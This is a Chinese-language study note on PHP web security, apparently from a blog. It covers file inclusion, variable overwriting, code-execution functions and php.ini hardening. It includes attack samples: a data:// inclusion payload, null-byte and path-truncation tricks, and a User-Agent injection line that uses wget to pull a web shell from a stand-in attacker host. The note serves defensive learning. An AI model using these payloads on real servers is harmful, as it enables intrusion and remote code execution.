PHP 安全

文件包含漏洞

文件包含漏洞可能出现在 JSP、PHP、ASP 等语言中,常90见的导致文件包含的函数:

PHP:include(),include_once(),require(),require_once(),fopen(),readfile(),...

JSP/Servlet:ava.io.File(),java.io.FileReader()

ASP:include file,include virtual,...

PHP 中 include(),include_once(),require(),require_once() 函数包含的文件将作为 PHP 代码执行,PHP 内核不考虑该包含的文件是什么类型。

利用文件包含漏洞的两个条件:① include()等函数通过动态变量的方式引入需要包含的文件;②用户能控制该动态变量。

本地文件包含(LFI)

能够打开并包含本地文件。两种截断文件名的方法:

PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串结束符。在注入文件名时可以使用 0字节达到截断的目的。

利用操作系统对目录最大长度的限制(Windows 为 256个字节;Linux 为4096个字节),当传入的目录长度大于限制长度时超出部分将被丢弃。利用这个特性可以达到截断文件“尾巴”的目的。

PHP 中 fopen() 和 fread() 等函数在操作文件的时候,如果目标文件的文件名可控则可能出现漏洞。

目录遍历(Path Traversal)时使用的特殊字符编码:.→%2e 或 %252e,/→%2f 或 %252f,→%5c 或 %255c。【安全建议:配置 open_basedir 参数,限制 PHP 能打开的目录文件

文件包含后能够执行 PHP 代码的条件:

包含用户上传的文件

包含 data:// 或 php://input 等伪协议(同时 allow_url_inlude 为 ON):http://www.example.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

包含 session 文件:需要攻击者能控制部分 Session 文件的内容

包含日志文件,比如 Web Server 的 access log

包含 /proc/self/environ 文件

包含上传的临时文件

包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等

可以通过一些文件的默认存放位置和文件名构造路劲找到目标文件。如果 PHP 的错误回显没有关闭,则通过构造异常可能可以暴露 Web 目录所在位置。/proc/self/environ 文件包含 Web 进程运行时的环境变量,其中很多是用户可以控制的,比如可以在 User-Agent 中注入 PHP 代码:<?php system('wget http://HackerSite/shells/phpshell.txt -O shell.php'); ?>

远程文件包含(RFI)

如果参数 allow_url_include 为 ON 的话,则 include/require 函数可以加载远程文件。

变量覆盖漏洞

全局变量覆盖

当 register_globals 参数配置为 ON 时,url 中传入的参数变量将被当做全局变量定义使用。

通过 $GLOBALS 获得的变量也可能导致变量覆盖,比如 http://www.a.com/test1.php?GLOBALES[a]=1。

销毁全局变量必须使用 $GLOBALS,有推荐的方法销毁变量。

extract()变量覆盖

int extract(array $var_array[, int $extract_type [, string $prefix]])

第二个参数指定函数将变量导入符号表时的行为:EXTR_OVERWRITE 或 EXTR_SKIP(更安全),默认 EXTR_OVERWRITE。

遍历初始化变量

类似 “$$变量名” 的赋值方式可能覆盖已有的变量。

import_request_variables 变量覆盖

bool import_request_variables(string $types [, string $prefix]) 将 GET、POST、Cookie 中的变量导入到全局

第二个参数是为导入的变量添加的前缀如果没有指定,则将覆盖全局变量。

parse_str()变量覆盖

void parse_str(string $str [, array &$arr]) 用于解析 URL 的 query string。应该养成指定第二个参数的好习惯。

安全建议:

① 确保 register_globals=OFF,若不能自定义 php.ini,则应该在代码中控制。

② 熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源。

③ 养成初始化变量的好习惯。

代码执行漏洞

“危险函数”执行代码

危险函数:popen()、system()、passthru()、exec()、eval()

挖掘此类漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终确定在整个调用过程中用户是否有可能控制输入。

文件写入执行代码

在 PHP 中操作文件避免用户可以控制文件的内容,否则要做好充分的审查过滤。

其他执行代码的方式

直接执行代码的函数:eval()、assert()、system()、exec()、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec() 等。一般来说,最好在 PHP 中禁用这些函数,在审计代码时可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以控制输入。

文件包含:include()、include_once()、require()、require_once()。

本地文件写入:file_put_contents()、fwrite()、fputs(),写入文件的功能可以和文件包含、危险函数执行等漏洞结合,最终使得原本用户无法控制的输入变成可控制。

preg_replace():preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

动态函数执行:

$dyn_func = $_GET['dyn_func'];

$argument = $_GET['argument'];

$dyn_func($argument);

Curly Syntax:${`cmd`} 将返回 cmd 执行的结果

回调函数执行代码、unserialize()

定制安全的 PHP 环境

 熟悉 PHP 的各种漏洞,合理配置 php.ini

① register_globals=OFF

② 指定 open_basedir 

③ allow_url_include=OFF

④ allow_url_fopen=OFF

⑤ display_errors=OFF

⑥ log_errors=ON

⑦ magic_quotes_gpc=OFF

⑧ cgi.fix_pathinfo = 0,避免出现文件解析问题

⑨ session.cookie_secure=1

10. session.cookie_httponly=1

11. safe_mode 建议开启,并且通过 disable_functions 控制运行环境安全。特别注意:如果开启了 safe_mode,则 exec()、system()、passthru()、popen()等函数并非被禁用,而是只能执行在 “safe_mode_exec_dir” 所指定目录下存在的可执行文件。如果要允许这些函数,则务必设置好 safe_mode_exec_dir 的值,并确保该目录不可写。

原文地址:https://www.cnblogs.com/shilxfly/p/6874831.html